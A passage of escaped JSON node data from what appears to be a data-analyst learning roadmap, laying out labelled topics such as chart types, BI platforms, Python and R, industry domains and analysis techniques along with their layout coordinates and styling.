\"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"hrkMVMYWCedRxhNd2N9wE\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -363.7189349312098, \"y\": 2114.516646445702 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Transformation Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 310,\n      \"style\": { \"width\": 297 },\n      \"measured\": { \"width\": 310, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"sltVKaKKjmzu17jDv9OFF\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -363.7189349312098, \"y\": 2355.5713712778006 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visualization Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 310,\n      \"style\": { \"width\": 254.328125 },\n      \"measured\": { \"width\": 310, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"BUizLtQ7vpdyBRjS8KyIl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 68.93786215460275, \"y\": 2356.6129067852144 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Barplot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 194.2265625 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"SNkYi2VZsCRG31v63v8_x\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 68.93786215460275, \"y\": 2462.6129067852144 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Heatmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 124.3125 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"BVDaFmDat48nN3hj5NE71\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 192.93786215460275, \"y\": 2356.6129067852144 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lineplot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 122,\n      \"style\": { \"width\": 134.0859375 },\n      \"measured\": { \"width\": 122, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"hCSZo7jT9arBLUbtCVFfD\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 192.93786215460275, \"y\": 2409.6129067852144 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scatterplot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 122,\n      \"style\": { \"width\": 142.484375 },\n      \"measured\": { \"width\": 122, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"7_5PBCrsukv81mm7yTpDf\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 192.93786215460275, \"y\": 2462.6129067852144 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Map\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 122,\n      \"style\": { \"width\": 87.5703125 },\n      \"measured\": { \"width\": 122, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"wqLcUFVsLa_l9yQIee9MG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 68.93786215460275, \"y\": 2409.6129067852144 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Histogram\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 132.234375 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"SJGEkoTSPK2ck4IvaK6Gz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 2410.163425148593 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Color theory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 222.6015625,\n      \"style\": { \"width\": 139.3203125 },\n      \"measured\": { \"width\": 223, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"qGVDuU9RA9Y5g5vlPd-xq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 2569.163425148593 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Misleading charts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 222.6015625,\n      \"style\": { \"width\": 181.171875 },\n      \"measured\": { \"width\": 223, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"wtEzdO_ZNu9jHJrFS3CrG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 2463.163425148593 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Accessibility\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 222.6015625,\n      \"style\": { \"width\": 138.25 },\n      \"measured\": { \"width\": 223, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"7t0WfLLqrD5VJQwIAmXMo\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 2622.163425148593 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mobile-responsiveness\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 222.6015625,\n      \"style\": { \"width\": 222.6015625 },\n      \"measured\": { \"width\": 223, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"EDQjtoTd01ftwXxYkV9it\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 2516.163425148593 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Design principles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 222.6015625,\n      \"style\": { \"width\": 178.234375 },\n      \"measured\": { \"width\": 223, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"eqGsO6ZGk2jdG0z9-cHzz\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 63.937862154602755, \"y\": 2569.98562637161 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Power BI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 113.578125 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"height\": 49\n    },\n    {\n      \"id\": \"GoMIAQwusbT7fqJ-VnCrq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 63.937862154602755, \"y\": 2622.98562637161 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Qlik\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 127.03125 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"WzPj94lYxQCjFx5YW4X9x\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 188.12583972335835, \"y\": 2569.98562637161 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Tableau\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 122,\n      \"style\": { \"width\": 105.4765625 },\n      \"measured\": { \"width\": 122, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"f4MDT1RUfaICAWzyG2E6T\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 188.12583972335835, \"y\": 2622.98562637161 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Looker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 122,\n      \"style\": { \"width\": 97.84375 },\n      \"measured\": { \"width\": 122, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"kpRqKLtAd3IO3nbs8Yxrh\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 64.77427722335835, \"y\": 2703.16148598324 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BI Platforms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LLK3_hudKDX5d-fd98vlx\"\n      },\n      \"width\": 244,\n      \"style\": { \"width\": 138.5859375 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"vQQSYPpcGO7ri0RFSWi0h\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 65.10573273074527, \"y\": 2917.3289975164294 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qnUHw2f2VmTPU3-NMnoLl\"\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 97.2421875 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"0OTmTRHlR3ImNU0zyLt8G\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 191.77427722335835, \"y\": 2917.3289975164294 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"R\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-KzusmyDQ1NgqOADpqmEX\"\n      },\n      \"width\": 117,\n      \"style\": { \"width\": 57.09375 },\n      \"measured\": { \"width\": 117, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"KSxjcWV6C325kZITzAhWs\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 64.77427722335835, \"y\": 2833.7341916782657 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Programming Languages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 244,\n      \"style\": { \"width\": 238.171875 },\n      \"measured\": { \"width\": 244, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"JHGV0V78GXubiSY9P3nTw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 57.12835578247541, \"y\": 3012.3515981586934 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 252,\n      \"style\": { \"width\": 149.3671875 },\n      \"measured\": { \"width\": 252, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"OqHNW0PzIRsw7IBgh5U5Q\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 233.2221057824754, \"y\": 3171.3515981586934 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CLV\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"On6kznZxLTCpBPskdZtgT\"\n      },\n      \"width\": 75.90625,\n      \"style\": { \"width\": 75.90625 },\n      \"measured\": { \"width\": 76, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"j-GXKpMnsVuUUUdRxAXLe\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 57.12835578247541, \"y\": 3065.3515981586934 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Compliance Reporting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1T2PyytlmndHreWgueD55\"\n      },\n      \"width\": 252,\n      \"style\": { \"width\": 208.625 },\n      \"measured\": { \"width\": 252, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"aJLGan5dkMefvkspFlcYo\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 57.22210578247541, \"y\": 3171.3515981586934 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fraud Detection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"moWrEfuKE06QwbznsH3V-\"\n      },\n      \"width\": 172,\n      \"style\": { \"width\": 161.9140625 },\n      \"measured\": { \"width\": 172, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": true\n    },\n    {\n      \"id\": \"xftv5BiyoVrFjpSN0tjsw\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -331.6240471125955, \"y\": 3094.090771067113 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Finance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 225,\n      \"style\": { \"width\": 107.0390625 },\n      \"measured\": { \"width\": 225, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"VPu8vn7-baZQ5ORJ6ViW0\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.3082399896375, \"y\": 3062.6759641717213 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sales Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 190.5390625 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"0qRm81lJX_Eb6aJkJMjeL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.3082399896375, \"y\": 3168.6759641717213 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Marketing Campaigns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 150.1484375 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"LkbB0rpS3Du2K7_ogoc34\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.3082399896375, \"y\": 3115.6759641717213 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inventory Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 211.09375 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"7jrzQogTOc6lHXfpYLCsx\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.3082399896375, \"y\": 3221.6759641717213 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Supply Chain Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 210.75 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"7LbhfkmS7oFoSF1k5ZR1U\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -331.6240471125955, \"y\": 3223.2322282115715 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Retail & E-commerce\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 225,\n      \"style\": { \"width\": 209.3125 },\n      \"measured\": { \"width\": 225, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"LI09SvvUUCQxLZZee_j0n\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.016080088605776, \"y\": 3278.4202584060527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Patient management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 178.7421875 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"omvGuhou7_63k-Fwcc7Mu\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.016080088605776, \"y\": 3384.4202584060527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Compliance Reporting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Cydlrtg_FClBUkjezqGie\"\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 208.625 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"ku3m0ZmNg23F0Z5CEb4JI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.016080088605776, \"y\": 3331.4202584060527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hospital Efficiency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 207.9453125 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"VpGVezYr9O6puhAF12PN2\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -331.6240471125955, \"y\": 3331.4202584060527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Healthcare\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 225,\n      \"style\": { \"width\": 130.0859375 },\n      \"measured\": { \"width\": 225, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"L50rpcgGjsQU3S0zRn6xh\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -706.6192057349939, \"y\": 3456.409269975828 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Production Efficiency\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 203.921875 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"yimCxOdNtyGcbd6ZxHsBQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -706.6192057349939, \"y\": 3350.409269975828 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Predictive Maintenance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 225.8828125 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Xe9zK8xhkkr4fsh3HOzAY\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -706.6192057349939, \"y\": 3509.409269975828 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Quality Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 154.2265625 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"-hNguvT6SQCqAgVpoQByr\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -706.6192057349939, \"y\": 3403.409269975828 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Supply chain optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 238.1953125 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"zEGmDHaFa-F81tWqa3i9E\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -323.7802971125955, \"y\": 3455.847509076608 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Manufacturing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 209.3125,\n      \"style\": { \"width\": 155.484375 },\n      \"measured\": { \"width\": 209, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"qKlo90-Cy8t_off5Qv8-6\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 52.11763936607696, \"y\": 3743.175777067808 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"A/B Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 250 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"R2zg0Ql-RsnIkV5Gmc1vN\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 52.11763936607696, \"y\": 3796.175777067808 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cohort Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 250 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"ExHCSUDxDBwsJtTelvxjP\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.11763936607696, \"y\": 3562.4607435489597 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Forecasting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 248,\n      \"style\": { \"width\": 135.8359375 },\n      \"measured\": { \"width\": 248, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"yseEaLsEzIcqJ0YIoGujl\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 52.11763936607696, \"y\": 3642.7708281581863 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Time Series Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 202.375 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"ZGazuCNruu09bd7C-aSFC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 52.11763936607696, \"y\": 3849.175777067808 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Machine Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 250 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"t_J0MZTMWMnrImGHjXYov\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 3603.209891615616 